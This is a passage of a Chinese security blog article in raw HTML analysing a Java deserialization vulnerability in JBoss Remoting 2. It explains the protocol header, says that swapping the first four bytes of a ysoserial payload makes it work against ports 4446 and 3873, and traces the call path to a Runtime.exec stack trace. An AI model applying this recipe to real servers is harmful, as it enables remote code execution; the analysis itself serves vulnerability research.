-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">创建一个maven项目，导入jboss remoting2的包，或者从 <a href="https://jbossremoting.jboss.org/downloads.html" target="_blank">https://jbossremoting.jboss.org/downloads.html</a> 直接下载jar包也行。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">maven配置参考520师傅的</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.jboss.remoting<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>jboss-remoting<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>2.5.4.SP5<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.jboss.logging<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>jboss-logging<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>3.3.0.Final<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.jboss<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>jboss-common-core<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>2.5.0.Final<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">exclusions</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">exclusion</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.jboss.logging<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>jboss-logging-spi<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">exclusion</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">exclusions</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>concurrent<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>concurrent<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>1.3.4<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span></span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="381" data-backw="562" data-galleryid="" data-ratio="0.6787037037037037" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c6f478ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbic35XhJEf7P2kyObdIrqoUefIb7whO7ibVLHpQj4cfpIEP3c7dqr2S8g%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">客户端先发一个0xaced0005，服务端回复一个0xaced0005，然后客户端发0x77011679...等。其中0x77011679分别表示</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span> TC_BLOCKDATA =    (<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">0x77</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span> SC_WRITE_METHOD = <span class="code-snippet__number">0x01</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">0x16</span> Protocol version <span class="code-snippet__number">22</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span> TC_RESET =        (<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">0x79</span>;</span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="314" data-backw="562" data-galleryid="" data-ratio="0.5592592592592592" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c14a26cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbpBwOFickRwh9An50aPcrIPWllDicmua4OxshgoTfXZHeD1TfuuVjuo1w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">后面的东西就是payload了，所以我们只需要替换yso生成的payload的前四个字节。<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.675" data-s="300,640" style="text-align: center;letter-spacing: normal;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9b567f69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mblicmzBVkLkLclrF1iaxRffdv7QwaHNqTEkIqnAicXfUYIgR29538vfcqQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">4446和3873端⼝均可利⽤。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">调试跟一下</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">org.jboss.remoting.transport.socket.ServerThread#processInvocation</code>中处理了0x16，读出来协议版本为22</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="267" data-backw="423" data-galleryid="" data-ratio="0.6312056737588653" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="423" src="https://wechat2rss.xlab.app/img-proxy/?k=b1c72e35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbHqiaibd1Laib7JWFiaB8O8MeIWNpFJIMsLv2bwuwibeTAxHJoSibtOGOib4DA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">org.jboss.remoting.transport.socket.ServerThread#versionedRead</code>中会调用<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">this.unmarshaller.read()</code><img class="rich_pages wxw-img" data-backh="256" data-backw="562" data-galleryid="" data-s="300,640" data-w="938" data-type="png" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-ratio="0.4552238805970149" src="https://wechat2rss.xlab.app/img-proxy/?k=ed48a4ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbLwr2FiavXXTFTVDfzf5wqIQG23r8ib54X9m2LKLrhq2hUxsbkM1nhhaQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在read中调用java类型的原生反序列化<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject</code><img class="rich_pages wxw-img" data-backh="154" data-backw="562" data-galleryid="" data-ratio="0.27314814814814814" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c441afc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbbhae0buWsTIQsUaZiaxtAU2EDT7Rp82TTsm11Jo7nkw1wtBibuxjnV7Q%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">除了java以外还有别的<img class="rich_pages wxw-img" data-backh="169" data-backw="562" data-galleryid="" data-ratio="0.3" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da883318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbsicG1332R2iaGE6WCariaUUuy0y0JTNOiaakjl5nFArpibUqnNLlXAiaekdQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">最后就进入了readObject<img class="rich_pages wxw-img" data-backh="296" data-backw="562" data-galleryid="" data-ratio="0.5259067357512953" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="772" src="https://wechat2rss.xlab.app/img-proxy/?k=3b3451e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbxtLsjib3BO3cnLhVXhjrg2I7WYdcz91vdpOxPdDPwK4AVbQGPfalnMg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">完整的堆栈</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">exec</span><span class="code-snippet__selector-pseudo">:348</span>, <span class="code-snippet__selector-tag">Runtime</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke0</span><span class="code-snippet__selector-pseudo">:-1</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:62</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">DelegatingMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">Method</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">transform</span><span class="code-snippet__selector-pseudo">:125</span>, <span class="code-snippet__selector-tag">InvokerTransformer</span> (<span class="code-snippet__selector-tag">org</span><span class="code-snippet__selector-class">.apache</span><span class="code-snippet__selector-class">.commons</span><span class="code-snippet__selector-class">.collections</span><span 